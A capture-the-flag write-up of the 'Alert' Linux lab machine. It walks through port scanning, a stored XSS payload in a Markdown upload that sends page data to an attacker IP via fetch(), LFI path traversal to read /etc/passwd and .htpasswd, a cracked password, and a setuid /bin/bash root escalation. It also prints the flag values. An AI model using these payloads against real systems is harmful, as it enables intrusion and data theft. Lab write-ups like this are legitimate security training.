Alert is a Linux box that demonstrates how poor input validation and open-source misuse can lead to XSS, LFI, and privilege escalation. The attack chain moves from client-side injection to local file reads and finally code execution through a group-writable web app.
nmap -p- 10.10.11.44 --min-rate 5000
nmap -p 22,80,12227 -sC -sV -oN nmap_alert
Open ports:
alert.htb showed a Markdown file uploaderstatistics.alert.htb via vhost fuzzing/uploads, /messages, /server-status through dir fuzzing.md with <script> to exfil data via fetch()messages.php<script>
fetch("http://alert.htb/messages.php")
.then(r => r.text())
.then(data => fetch("http://10.10.14.12/?data=" + btoa(data)))
</script>
messages.php?file=../../etc/passwd/etc/passwd, .htpasswd, and app config files$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/ → manchesterunited
albert:manchesterunited to:
statistics.alert.htbalert.htbssh albert@alert.htb
3265008ad462f871dbded2378cf52e64/opt/website-monitorconfig/ folder was management group-writable; Albert belonged to that group/bin/bash permissions:<?php exec("chmod +s /bin/bash"); ?>
curl http://localhost:8080/config/pwned.php
bash -p to spawn a root shell:
bash -p
whoami # root
cat /root/root.txt
b7cefe59a57b8e147e765e4e63eacc66
| Stage | Technique |
|---|---|
| Foothold | Stored XSS → JS Fetch Exfil via Markdown |
| Enumeration | Virtual host & file fuzzing |
| Exploit | LFI via PHP param injection & base64 trickery |
| User Access | Cracked .htpasswd to get albert creds |
| Priv Esc | Group-writable PHP file modified /bin/bash |
Writeup by [Your Name]
GitHub: [https://github.com/inkedqt/ctf-writeups]